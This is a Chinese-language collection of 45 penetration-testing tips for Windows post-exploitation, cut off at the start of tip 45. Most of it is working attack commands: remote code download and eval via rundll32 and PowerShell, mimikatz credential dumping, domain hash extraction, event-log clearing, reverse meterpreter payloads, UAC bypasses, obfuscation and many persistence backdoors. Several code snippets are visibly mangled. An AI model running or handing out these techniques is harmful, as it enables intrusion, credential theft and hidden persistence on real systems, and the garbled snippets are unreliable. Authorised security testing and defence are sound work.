渗透测试技巧总结67条

Tips 1. 手动端口探测

nmap的-sV可以探测出服务版本,但有些情况下必须手动探测去验证

使用Wireshark获取响应包未免大材小用,可通过nc简单判断

eg.

对于8001端口,nc连接上去,随便输入一个字符串,得到了以下结果:

$ nc -vv localhost 8001 localhost [127.0.0.1] 8001 (?) openasdHTTP/1.1 400 Bad RequestDate: Fri, 25 Aug 2017 12:15:25 GMTServer: Apache/2.4.23 (Debian)Content-Length: 301Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001</address></body></html>

由此我们知道了这是一个http服务,因为我们发送的字符串不是一个合法的HTTP请求,因此返回一个400 Bad requests,我们还得到了系统的版本是Debian,WebServer是Apache

参考:

《谈谈端口探测的经验与原理》


Tips 2. Windows系统从Kali下载文件

Kali:

python -m SimpleHTTPServer 80

Windows:

certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.execertutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete

参考:

《渗透测试中的certutil.exe》


Tips 3. 配置工作组计算机,使其支持net use远程连接

添加用户:

net user test test /addnet localgroup administrators test /add

修改注册表,使其支持远程连接:

reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1

net use远程连接:

net use \192.168.1.195 test /u:test


Tips 4. Windows日志清除

获取日志分类列表:

wevtutil el >1.txt

获取单个日志类别的统计信息:

eg.

wevtutil gli "windows powershell"

回显:

creationTime: 2016-11-28T06:01:37.986ZlastAccessTime: 2016-11-28T06:01:37.986ZlastWriteTime: 2017-08-08T08:01:20.979ZfileSize: 1118208attributes: 32numberOfLogRecords: 1228oldestRecordNumber: 1

查看指定日志的具体内容:

wevtutil qe /f:text "windows powershell"

删除单个日志类别的所有信息:

wevtutil cl "windows powershell"

参考:

《渗透技巧-Windows日志的删除与绕过》


Tips 5. 破坏Windows日志记录功能

通过调用TerminateThread结束实现日志功能的线程,使得日志记录功能失效,但Windows Event Log服务没有被破坏,状态仍为正在运行

Powershell:

GitHub - hlldz/Phant0m: Windows Event Log Killer

C++:

GitHub - 3gstudent/Windows-EventLog-Bypass: Use subProcessTag Value From TEB to identify Event Log Threads

参考:

《渗透技巧-Windows日志的删除与绕过》

《利用API-NtQueryInformationThread和I_QueryTagInformation实现对Windwos日志监控的绕过》


Tips 6. Win7和Windows Server 2008 R2下的进程隐藏

利用globalAPIhooks,通过修改注册表实现

下载工程:https://github.com/subTee/AppInitGlobalHooks-Mimikatz

修改代码指定要隐藏的程序名cldr.exe,编译成cldr.dll,cldr.dll放在C:\ProgramData\Microsoft\HelpLibrary

管理员权限:

reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /freg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\ProgramData\Microsoft\HelpLibrary\cldr.dll" /f

此时,任务管理器进程列表不存在cldr.exe,Process Explorer不存在cldr.exe,Tasklist.exe不存在cldr.exe

对于64位系统:

管理员权限:

reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /freg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\ProgramData\Microsoft\HelpLibrary\cldrx64.dll" /freg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /freg add "hklm\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\ProgramData\Microsoft\HelpLibrary\cldr.dll" /f

参考:

《利用globalAPIhooks在Win7系统下隐藏进程》


Tips 7. 同名exe和com文件执行顺序

如果一个路径下同时包含同名的exe和com文件,例如test.exe和test.com,通过命令行cmd输入test(不包含文件后缀名),会优先运行com文件,即test.com

而COM文件的生成只需要把exe文件的后缀名改为com即可

参考:

《A dirty way of tricking users to bypass UAC》


Tips 8. Windows系统证书生成与注册

证书生成与签名:

makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cercert2spc Root.cer Root.spcpvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -fsigntool sign /f Root.pfx /p 12345678password test.exe

执行后生成Root.cer、Root.pfx、Root.pvk、Root.spc四个文件,test.exe被加上数字签名

证书注册:

管理员权限cmd,将证书添加到localmachine:

certmgr.exe -add -c Root.cer -s -r localmachine root

参考:

《A dirty way of tricking users to bypass UAC》


Tips 9. hta执行vbs,加载powershell

test.hta:

<HTML> <HEAD> <script language="VBScript"> Set WshShell = CreateObject("WScript.Shell") Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA==" WshShell.Run Connect, 4, true</script><HTA:APPLICATION ID="test"WINDOWSTATE = "minimize"></HEAD> <BODY> </BODY> </HTML>

参考:

《Bypass McAfee Application Control——Code Execution》


Tips 10. 通过c#编写dll & 通过rundll32.exe或者regsvr32加载dll

默认情况下,c#不可以声明导出函数,但可通过添加UnmanagedExports实现

当然,通过c#编写的dll,dll需要在对应版本的.NET环境才能正常运行,通过c++编写的dll更加通用

通过rundll32.exe或者regsvr32能够加载dll,但要求dll包含特定的导出函数

参考:

《Code Execution of Regsvr32.exe》


Tips 11. Windows下cpl文件介绍

本质上是DLL文件,后缀名为cpl,包含一个导出函数CPLApplet(c实现可不指定)

执行方法:

(1)双击直接运行

(2)cmd

rundll32 shell32.dll,Control_RunDLL test.cpl

(3)cmd

control test.cpl

(4)vbs

Dim objSet obj = CreateObject("Shell.Application")obj.ControlPanelItem("test.cpl")

(5)js

var a = new ActiveXObject("Shell.Application");a.ControlPanelItem("c:\test\test.cpl");

参考:

《CPL文件利用介绍》


Tips 12. Windows下通过cmd调用rundll32执行一段代码弹回Shell

Server:

Javascript-Backdoor/JSRat.ps1 at master · 3gstudent/Javascript-Backdoor · GitHub

Client:

rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet%20Settings\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new ActiveXObject("WScript.Shell").Run("cmd;try{h.Send();B=h.ResponseText;eval(B);}catch(e){new ActiveXObject("WScript.Shell").Run("cmd) /c taskkill /f /im rundll32.exe",0,true);}

当然,该RAT工具还可通过以下方法加载:

vbs,js,exe,dll,shellcode

参考:

《JavaScript Backdoor》

《JavaScript Phishing》


Tips 13. 可通过内存dump还原出putty&pageant的密钥

windows和Linux均适用

参考:

《Memory Dump利用实例》


Tips 14. 针对Visual Studio的钓鱼利用

Visual C++:

  • 修改.vcxproj文件

Visual Basic:

  • 修改.vbproj文件

Visual F#:

  • 修改.fsproj文件

使用Visual Studio对以上任一工程编译时,能够执行任意代码

参考:

《Pay close attention to your download code——Visual Studio trick to run code when building》


Tips 15. 32位程序在64位Windows系统下执行的时候,如果有对注册表和文件的操作,存在重定向

对注册表操作

访问HKLM\Software\的实际路径为HKLM\Software\Wow6432Node\

对文件操作:

访问c:\windows\Sysnative\ 的实际路径为 c:\windows\system32
访问c:\windows\system32\ 的实际路径为 c:\windows\SysWOW64\

参考:

《关于32位程序在64位系统下运行中需要注意的重定向问题》


Tips 16. 获取Windows域控所有用户hash

方法1:

复制ntds.dit:

使用NinjaCopy,GitHub - 3gstudent/NinjaCopy: Powershell to copy ntds.dit

导出hash:

使用quarkspwdump,GitHub - quarkslab/quarkspwdump: Dump various types of Windows credentials without injecting in any process.

esentutl /p /o ntds.ditQuarksPwDump.exe -dhb -hist -nt c:\test\ntds.dit -o c:\test\log.txt

方法2:

使用powershell:DSInternals PowerShell Module

https://www.dsinternals.com/wp-content/uploads/DSInternals_v2.8.zip

适用条件:

Windows PowerShell 3.0 or 3.0+

.NET Framework 4.0 or 4.0+

参考:

《导出当前域内所有用户hash的技术整理》

《利用Powershell快速导出域控所有用户Hash》


Tips 17. 导出Windows系统明文口令

Windows Server 2012默认无法使用mimikatz导出明文口令,部分Windows Server 2008也一样

解决方法:启用Wdigest Auth

cmd:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

or

powershell:

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

重启或者用户再次登录,能够导出明文口令

参考:

《域渗透——Dump Clear-Text Password after KB2871997 installed》


Tips 18. 可通过Hook PasswordChangeNotify实时记录域控管理员的新密码

当然,可选择保存在本地或是将密码上传至服务器

参考:

《域渗透——Hook PasswordChangeNotify》


Tips 19. 在域渗透时要记得留意域内主机的本地管理员账号

如果管理员疏忽,域内主机使用相同的本地管理员账号,可以通过pass-the-hash远程登录域内其他主机

参考:

《域渗透——Local Administrator Password Solution》


Tips 20. 通过powershell获取dll的导出函数

PowerShell-Suite/Get-Exports.ps1 at master · FuzzySecurity/PowerShell-Suite · GitHub

Get-Exports -DllPath c:\Windows\system32\dimsjob.dll -ExportsToCpp C:\test\export.txt

参考:

《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》


Tips 21. 快捷方式的参数隐藏技巧

将payload放置在260个空字符之后,这样无法在文件属性查看payload,可以用来在快捷方式中隐藏payload,欺骗用户点击,隐蔽执行代码

参考:

《渗透技巧——快捷方式文件的参数隐藏技巧》


Tips 22. 32位程序能够对64位进程进行远程注入

POC:

CreateRemoteThread/CreateRemoteThread32to64.cpp at master · 3gstudent/CreateRemoteThread · GitHub

参考:

《32位程序对64位进程的远程注入实现》


Tips 23. system权限的进程在某些情况下需要进行降权

使用sytem权限的进程可能会遇到以下问题:

1.无法获得当前用户的文件内容

例如无法捕获用户的屏幕

2.环境变量有差异

因此需要降权到当前用户

降权方法1:使用SelectMyParent.exe

代码下载地址:From-System-authority-to-Medium-authority/Processauthority.cpp at master · 3gstudent/From-System-authority-to-Medium-authority · GitHub

参考:

《渗透技巧——程序的降权启动》

降权方法2:使用msdtc

使用msdtc会以system权限加载oci.dll,但在管理员权限cmd执行:

msdtc -install

启动的calc.exe为high权限

参考:

《Use msdtc to maintain persistence》


Tips 24. 通过命令行能够对Windows系统安装WinPcap,这样就可以在Windows跳板上使用nmap和Masscan

参考:

《渗透技巧——Windows平台运行Masscan和Nmap》


Tips 25. Windows平台执行mimikatz的方法

方法1:通过powershell

powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

方法2:通过InstallUtil.exe

C:\Windows[Microsoft.NET](Your request has been blocked. This could be due to several reasons.)\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.csC:\Windows[Microsoft.NET](Your request has been blocked. This could be due to several reasons.)\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

参考:

《利用白名单绕过360实例》

《利用白名单绕过限制的更多测试》

方法3:通过regsvr32.exe

https://gist.githubusercontent.com/subTee/c3d5030bb99aa3f96bfa507c1c184504/raw/24dc0f93f1ebdda7c401dd3890259fa70d23f75b/regsvr32-katz.cs

将mimikatz封装到dll中,通过regsvr32传入参数运行mimkatz

rundll32 katz.dll,EntryPoint log coffee exit

参考:

《Code Execution of Regsvr32.exe》

方法4:通过msbuild.exe

下载xml文件,保存为a.xml:

[https://github.com/3gstudent/msbuild-inline-task/blob/master/executes mimikatz.xml](https://github.com/3gstudent/msbuild-inline-task/blob/master/executes mimikatz.xml)

cmd:

C:\Windows[Microsoft.NET](Your request has been blocked. This could be due to several reasons.)\Framework64\v4.0.30319\msbuild.exe executes a.xml

参考:

《Use MSBuild To Do More》

方法5:通过csi.exe

"C:\Program Files (x86)\MSBuild\14.0\Bin\csi.exe" c:\test\katz.csx

参考:

《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》

方法6:通过js/vbs脚本

https://gist.github.com/subTee/5c636b8736530fb20c3d

https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f

参考:

《利用JS加载.Net程序》

Tips 26. Windows系统中可供存储和读取payload的位置

方法1:WMI

存储:

$StaticClass = New-Object Management.ManagementClass('root\cimv2', null,null,null,null)StaticClass.Name=′Win32Command′StaticClass.Name = 'Win32_Command'StaticClass.Name=​′​​Win32​C​​ommand​′​​StaticClass.Put()$StaticClass.Properties.Add('Command' , Payload)Payload)Payload)StaticClass.Put()

读取:

$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value

参考:

《WMI Backdoor》

方法2:包含数字签名的PE文件

利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名

参考:

《隐写技巧-在PE文件的数字证书中隐藏Payload》

方法3:特殊ADS

(1)...

type putty.exe > ...:putty.exewmic process call create c:\test\ads...:putty.exe

(2)特殊COM文件

type putty.exe > .\C:\test\ads\COM1:putty.exewmic process call create .\C:\test\ads\COM1:putty.exe

(3)磁盘根目录

type putty.exe >C::putty.exe wmic process call create C::putty.exe

参考:

《Hidden Alternative Data Streams的进阶利用技巧》


Tips 27. Windows系统中值得搜集的信息

(1)已注册的WMI信息

wmic /NAMESPACE:"\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:listwmic /NAMESPACE:"\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:listwmic /NAMESPACE:"\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list

管理员也许会使用WMI记录攻击者调用WMI的操作,可通过wmic查看,当然通过wmic也能关闭该监控功能

参考:

《Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC))》


Tips 28. Windows系统反弹meterpreter的常用方法

方法1:通过rundll32加载dll反弹meterpreter

msf:

msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll

生成a.dll,然后上传至测试主机

执行rundll32.exe a.dll,Control_RunDLL,即可上线

方法2:通过cpl反弹meterpreter

代码见https://raw.githubusercontent.com/3gstudent/test/master/meterpreter_reverse_tcp.cpp

生成dll,重命名为cpl,双击执行

方法3:通过powershell反弹meterpreter

https://raw.githubusercontent.com/3gstudent/Code-Execution-and-Process-Injection/master/2-CodeExecution-Meterpreter.ps1


Tips 29. Windows系统加载dll的方法

方法1:rundll32

rundll32 a.dll,EntryPoint

方法2:regsvr32

regsvr32 a.dll

参考:

《Code Execution of Regsvr32.exe》

方法3:odbcconf

odbcconf.exe /a {regsvr c:\test\odbcconf.dll}

参考:

《Study Notes Weekly No.3(Use odbcconf to load dll & Get-Exports & ETW USB Keylogger)》

方法4:Tracker

Tracker.exe /d test.dll /c svchost.exe

tracker.exe包含微软数字签名,可绕过应用程序白名单的限制

参考:

《Study Notes Weekly No.4(Use tracker to load dll & Use csi to bypass UMCI & Execute C# from XSLT file)》

方法5:Excel.Application object's RegisterXLL() method

前提:已安装Microsoft Office软件

1.rundll32

rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\test\messagebox.dll');this.close();

2.js

var excel = new ActiveXObject("Excel.Application");excel.RegisterXLL("C:\test\messagebox.dll");

3.powershell

excel=[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))excel=[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))excel.RegisterXLL("C:\test\messagebox.dll")

参考:

《Use Excel.Application object's RegisterXLL() method to load dll》

方法6:xwizard.exe

复制%windir%\system32\下的xwizard.exe至新目录C:\x

将msg.dll重命名为xwizards.dll,保存在C:\x

命令行执行:

xwizard processXMLFile 1.txt

成功加载C:\x\xwizards.dll

参考:

《Use xwizard.exe to load dll》


Tips 30. Windows Persistence

方法1:bitsadmin

bitsadmin /create backdoorbitsadmin /addfile backdoor %comspec% %temp%\cmd.exebitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"bitsadmin /Resume backdoor

参考:

《Use bitsadmin to maintain persistence and bypass Autoruns》

方法2:mof

pragma namespace(".\root\subscription") instance of __EventFilter as $EventFilter{ EventNamespace = "Root\Cimv2"; Name = "filtP1"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 1"; QueryLanguage = "WQL";}; instance of ActiveScriptEventConsumer as $Consumer{ Name = "consP1"; ScriptingEngine = "JScript"; ScriptText = "GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")";";)}; instance of __FilterToConsumerBinding{ Consumer = $Consumer; Filter = $EventFilter;};

管理员权限:

mofcomp test.mof

参考:

《WSC、JSRAT and WMI Backdoor》

方法3:wmi

每隔60秒执行一次notepad.exe

wmic /NAMESPACE:"\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"wmic /NAMESPACE:"\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"wmic /NAMESPACE:"\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="BotFilter82"", Consumer="CommandLineEventConsumer.Name="BotConsumer23""

参考:

《Study Notes of WMI Persistence using wmic.exe》

方法4:Userland Persistence With Scheduled Tasks

劫持计划任务UserTask,在系统启动时加载testmsg.dll

操作如下:

在HKEY_CURRENT_USER\Software\Classes\CLSID\下新建项{58fb76b9-ac85-4e55-ac04-427593b1d060}

接着新建项InprocServer32

值设定为c:\test\testmsg.dll

testmsg.dll包含如下导出函数:

DllCanUnloadNow DllGetClassObject DllRegisterServer DllUnregisterServer

等待用户重新登录

参考:

《Userland registry hijacking》

方法5:Netsh

helper DLL需要包含导出函数InitHelperDll

管理员权限:

netsh add helper c:\test\netshtest.dll

helper dll添加成功后,每次调用netsh,均会加载c:\test\netshtest.dll

参考:

《Netsh persistence》

方法6:Shim

常用方式:

  • InjectDll
  • RedirectShortcut
  • RedirectEXE

《渗透测试中的Application Compatibility Shims》

方法7:dll劫持

通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程

参考:

《DLL劫持漏洞自动化识别工具Rattler测试》

方法8:DoubleAgent

编写自定义Verifier provider DLL

通过Application Verifier进行安装

注入到目标进程执行payload

每当目标进程启动,均会执行payload,相当于一个自启动的方式

参考:

《渗透测试中的Application Verifier(DoubleAgent利用介绍)》

方法9:waitfor.exe

不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe

参考:

《Use Waitfor.exe to maintain persistence》

方法10:AppDomainManager

针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。

如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制

参考:

《Use AppDomainManager to maintain persistence》

方法11:Office加载项

如果系统已安装office软件,可通过配置Office加载项实现劫持,作为被动后门

常用利用方式:

Word WLL

Excel XLL

Excel VBA add-ins

PowerPoint VBA add-ins

POC:GitHub - 3gstudent/Office-Persistence: Use powershell to test Office-based persistence methods

参考:

《Use Office to maintain persistence》

《Office Persistence on x64 operating system》

方法12:CLR

无需管理员权限的后门,并能够劫持所有.Net程序

POC:GitHub - 3gstudent/CLR-Injection: Use CLR to inject all the .NET apps

参考:

《Use CLR to maintain persistence》

方法13:msdtc

利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测

参考:

《Use msdtc to maintain persistence》

方法14:Hijack CAccPropServicesClass and MMDeviceEnumerator

不需要重启系统,不需要管理员权限

通过修改注册表实现

POC:GitHub - 3gstudent/COM-Object-hijacking: use COM Object hijacking to maintain persistence.(Hijack CAccPropServicesClass and MMDeviceEnumerator)

参考:

《Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator》

方法15:Hijack explorer.exe

不需要重启系统,不需要管理员权限

通过修改注册表实现

参考:

《Use COM Object hijacking to maintain persistence——Hijack explorer.exe》

方法16:Windows FAX DLL Injection

通过DLL劫持,劫持Explorer.exe对fxsst.dll的加载

Explorer.exe在启动时会加载c:\Windows\System32\fxsst.dll(服务默认开启,用于传真服务)

将payload.dll保存在c:\Windows\fxsst.dll,能够实现dll劫持,劫持Explorer.exe对fxsst.dll的加载

方法17:劫持Office软件的特定功能

通过dll劫持,在Office软件执行特定功能时触发后门

参考:

《利用BDF向DLL文件植入后门》

方法18:特殊注册表键值

在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执行(使用Native API)

参考:

《渗透技巧——"隐藏"注册表的创建》

《渗透技巧——"隐藏"注册表的更多测试》

方法19:powershell配置文件

修改powershell配置文件,后门在powershell进程启动后触发

查看是否使用配置文件:

Test-Path $profile

创建配置文件:

New-Item -Path $profile -Type File –Force

修改配置文件内容,添加后门:

string=′Start−Process"cmd.exe"′string = 'Start-Process "cmd.exe"'string=​′​​Start−Process"cmd.exe"​′​​string | Out-File -FilePath "C:\Users\a\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Append

From:

https://rastamouse.me/2018/03/a-view-of-persistence/

Tips 31. UAC绕过

方法1:use eventvwr.exe and registry hijacking

适用:Win7,Win8.1,Win 10

https://github.com/3gstudent/UAC-Bypass/blob/master/Invoke-EventVwrBypass.ps1

参考:

《Study Notes of WMI Persistence using wmic.exe》

《Userland registry hijacking》

方法2:use sdclt.exe

适用Win10

参考:

《Study Notes of using sdclt.exe to bypass UAC》

方法3:use SilentCleanup

适用Win8,Win10

reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM "schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

参考:

《Study Notes of using SilentCleanup to bypass UAC》

方法4:use wscript.exe

只适用于Win7

Empire/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1 at master · EmpireProject/Empire · GitHub

参考:

《Empire中的Invoke-WScriptBypassUAC利用分析》

方法5:use cmstp.exe

BravoTello acquired MSITPros.com

适用于Win7

方法5:修改环境变量,劫持高权限.Net程序

适用Win7-Win10

如gpedit.msc

修改环境变量,利用CLR劫持gpedit.msc的启动过程

参考:

《Use CLR to bypass UAC》

方法6:修改注册表HKCU\Software\Classes\CLSID,劫持高权限程序

适用Win7-Win10

  • {B29D466A-857D-35BA-8712-A758861BFEA1}
  • {D5AB5662-131D-453D-88C8-9BBA87502ADE}
  • {0A29FF9E-7F9C-4437-8B11-F424491E3931}
  • {CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}

参考:

《Use CLR to bypass UAC》


Tips 32. Visual Studio生成的exe或是dll在其他系统使用,提示缺少相关DLL文件

解放方法:

将程序打包发布

项目菜单->项目属性,C/C++->代码生成->运行库,选择多线程 (/MT)


Tips 33. 使用LaZagne导出当前系统中常见应用存储的密码

可以使用LaZagne导出当前系统中常见应用存储的密码(例如浏览器、Wifi、Git、Outlook等)

GitHub - AlessandroZ/LaZagne: Credentials recovery project

当然,也可以修改LaZagne源码实现对其他应用的密码导出

参考:

《本地密码查看工具LaZagne中的自定义脚本开发》


Tips 34. 使用powershell读写文件

读文本文件:

$file = Get-Content "1.txt"

写文本文件:

Set-content "1.txt"

读二进制文件:

写二进制文件:


Tips 35. powershell作base64编码/解码

编码:

encoded=[System.Convert]::ToBase64String(encoded = [System.Convert]::ToBase64String(encoded=[System.Convert]::ToBase64String(fileContent)

解码:

fileContent=[System.Convert]::FromBase64String(fileContent = [System.Convert]::FromBase64String(fileContent=[System.Convert]::FromBase64String(encoded)

参考:

《Study Notes of using BGInfo to bypass Application Whitelisting》


Tips 36 如果powershell脚本被查杀,可以尝试使用Invoke-Obfuscation进行混淆

GitHub - danielbohannon/Invoke-Obfuscation: PowerShell Obfuscator

eg.

设置要混淆的代码:

set scriptblock " Invoke-111111 -Command "log privilege::debug sekurlsa::logonpasswords exit" "

输入encoding

输入1,指定编码为ascii

得到混淆后的代码:

" $(SEt-iTem 'VARIaBle:OFS' '' ) "+ [StRinG](( 73,110 , 118 ,111, 107, 101, 45, 49, 49 ,49 ,49 ,49 , 49, 32 , 45 , 67, 111, 109 , 109, 97 , 110 , 100 , 32,34,108, 111, 103 ,32, 112 ,114 , 105,118,105,108, 101, 103 ,101, 58 , 58 , 100 , 101 , 98, 117 ,103,32 , 115,101,107 ,117,114 , 108,115, 97 ,58 , 58, 108 ,111 ,103,111,110, 112, 97, 115 ,115,119, 111, 114, 100, 115, 32, 101, 120,105,116 ,34 )|FOReacH-objeCT{( [ChAR][iNT] _) } ) +"( Set-variAbLE 'oFS' ' ' ) "|. ( env:PUbLic[13]+env:PUbLic[13]+env:PUbLic[13]+eNv:PuBlIc[5]+'x')


Tips 37 python脚本转exe

常见的两种方法:

  • 使用py2exe
  • 使用PyInstaller

使用方法和常见bug解决方法可参照参考链接

参考:

《本地密码查看工具LaZagne中的自定义脚本开发》


Tips 38 普通用户权限向管理员权限的路径下写文件

eg.

以普通用户权限向c:\windows文件夹下释放文件

makecab c:\test\test.exe %TMP%\1.tmpwusa %TMP%\1.tmp /extract:"c:\windows" /quiet

适用于Win7、Win8,学习自:

Empire/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1 at master · EmpireProject/Empire · GitHub

参考:

《Empire中的Invoke-WScriptBypassUAC利用分析》


Tips 39 在远程系统上执行程序的方法汇总

常用方法:

  • at
  • psexec
  • WMIC
  • wmiexec
  • smbexec
  • powershell remoting

新方法:

  • DCOM

参考:

《域渗透——利用DCOM在远程系统执行程序》


Tips 40 寻找Windows系统中可被利用的服务

枚举Windows系统服务对应可执行文件的路径,如果路径包含普通用户的写权限,那么该服务可被用来提升权限

powershell代码:

$ErrorActionPrefer`ence="SilentlyContinue"

$out = (Get-WmiObject win32_service | select PathName)

out|% {[array]global:path += $_.PathName}

for(i=0;i=0;i=0;i -le out.Count−1;out.Count-1;out.Count−1;i++)

{

$a=Get-Acl -Path out[out[out[i].PathName.ToUpper().Substring(out[out[out[i].PathName.ToUpper().IndexOfAny("C"),out[out[out[i].PathName.ToUpper().LastIndexOfAny(""))

If($a.Owner -ne "NT AUTHORITY\SYSTEM"){

If($a.Owner -ne "NT SERVICE\TrustedInstaller"){  If($a.Owner -ne "BUILTIN\Administrators"){          Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status  Write-host Owner: $a.Owner  }    }  }  

}

Write-host [+] All done.`

参考:

《Use powershell to find a writable windows service》


Tips 41 利用杀毒软件的配置错误实现自启动并优先于杀毒软件执行

Windows系统支持Logon Scripts,Logon Scripts是在系统启动时执行,执行顺序要优先于杀毒软件,当然,杀毒软件无法拦截Logon Scripts中脚本的操作(杀毒软件尚未启动)

关键在于杀毒软件会不会拦截Logon Scripts的配置使用

使用特殊操作添加Logon Scripts,杀毒软件不会拦截

注:

以上提到的杀毒软件是指“部分”杀毒软件,并不通用

参考:

《Use Logon Scripts to maintain persistence》


Tips 42 编译c#程序注意事项

使用Visual Studio:

项目名要同namespace指定的名称对应,如果不对应,可在项目-属性-程序集名称中修改,否则生成的dll无法使用

使用csc.exe:

eg.

using System;using System.Diagnostics;namespace TestDotNet{ public class Class1 { static Class1() { Process.Start("cmd.exe"); Environment.Exit(0); } }}

保存为TestDotNet.cs,直接使用csc.exe生成就好:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library TestDotNet.cs

如果保存为a.cs,那么需要加/out参数指定输出文件为TestDotNet.dll,这样程序集名称也默认为TestDotNet(同源代码对应),否则,dll虽然能够被加载,但无法执行,参数如下:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library /out:TestDotNet.dll a.cs


Tips 43 使用net use远程连接的端口问题

使用net use远程连接,目标如果开启了NetBIOS over TCP/IP,那么:

  1. 目标同时开放139和445端口,系统优先使用445端口连接
  2. 目标禁用445端口,可使用139端口连接

目标如果禁用了NetBIOS over TCP/IP,那么:

  1. 目标禁用445端口,无法连接

Tips 44 获得TrustedInstaller权限

启动服务TrustedInstaller,通过Token复制来获得TrustedInstaller权限

常用方法:

  • SelectMyParent
  • Invoke-TokenManipulation.ps1
  • incognito

参考:

渗透技巧——Token窃取与利用


Tips 45 3389远程连接

1、查询系统是否允许3389远程连接:

